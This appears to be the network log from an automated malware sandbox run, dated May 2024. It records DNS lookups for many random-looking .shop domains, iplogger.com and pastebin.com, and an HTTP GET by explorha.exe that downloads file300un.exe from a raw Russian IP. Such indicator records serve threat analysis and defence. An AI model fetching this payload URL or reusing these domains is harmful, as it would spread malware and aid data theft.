                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    firstfirecar.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.60.76
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    firstfirecar.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.193.220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    139.173.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    139.173.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    19.128.172.185.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    19.128.172.185.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    77.190.18.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    77.190.18.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    77.190.18.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a2-18-190-77deploystaticakamaitechnologiescom
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11.227.111.52.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11.227.111.52.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ocsp.pki.goog
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ocsp.pki.goog
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ocsp.pki.goog
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pki-goog.l.google.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pki-goog.l.google.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.187.195
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    api.check-data.xyz
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    api.check-data.xyz
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    api.check-data.xyz
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    checkdata-1114476139.us-west-2.elb.amazonaws.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    checkdata-1114476139.us-west-2.elb.amazonaws.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    35.82.94.151
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    checkdata-1114476139.us-west-2.elb.amazonaws.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    44.231.33.228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    132.72.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    132.72.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dismissalcylinderhostw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dismissalcylinderhostw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dismissalcylinderhostw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.22.160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dismissalcylinderhostw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.205.132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    125.44.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    125.44.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    67.113.215.185.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    67.113.215.185.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pillowbrocccolipe.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pillowbrocccolipe.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pillowbrocccolipe.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.144.218
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pillowbrocccolipe.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.47.56
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    19.83.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    19.83.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    obsceneclassyjuwks.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    obsceneclassyjuwks.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    obsceneclassyjuwks.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.20.88
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    obsceneclassyjuwks.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.192.5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    156.59.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    156.59.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pastebin.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pastebin.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pastebin.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.19.24
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pastebin.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.20.4.235
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pastebin.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.20.3.235
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    realdeepai.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    realdeepai.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    realdeepai.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.193.79
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    realdeepai.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.90.14
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    jonathantwo.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    jonathantwo.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    jonathantwo.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.176.131
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    jonathantwo.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.31.124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    146.53.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    146.53.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    iplogger.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    iplogger.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    iplogger.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.188.178
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    iplogger.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.76.57
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    67.65.42.5.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    67.65.42.5.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    195.187.250.142.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    195.187.250.142.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    195.187.250.142.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    lhr25s33-in-f31e100net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    service-domain.xyz
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    service-domain.xyz
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    service-domain.xyz
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3.80.150.121
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10.178.250.142.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10.178.250.142.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10.178.250.142.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    lhr48s27-in-f101e100net
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    worryfillvolcawoi.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    worryfillvolcawoi.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    worryfillvolcawoi.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.44.125
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    worryfillvolcawoi.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.199.191
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    worryfillvolcawoi.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    worryfillvolcawoi.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.234/files/file300un.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.234:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /files/file300un.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:12 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Sun, 05 May 2024 08:06:02 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ETag: "66890-617b06c84a0a2"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 419984
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-msdownload
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    160.22.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    160.22.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    zippyfinickysofwps.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    zippyfinickysofwps.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    zippyfinickysofwps.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.148.231
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    zippyfinickysofwps.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.39.216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    zippyfinickysofwps.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    zippyfinickysofwps.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    233.18.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    233.18.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    diskretainvigorousiw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    diskretainvigorousiw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    diskretainvigorousiw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.23.143
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    diskretainvigorousiw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.211.165
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    diskretainvigorousiw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    diskretainvigorousiw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
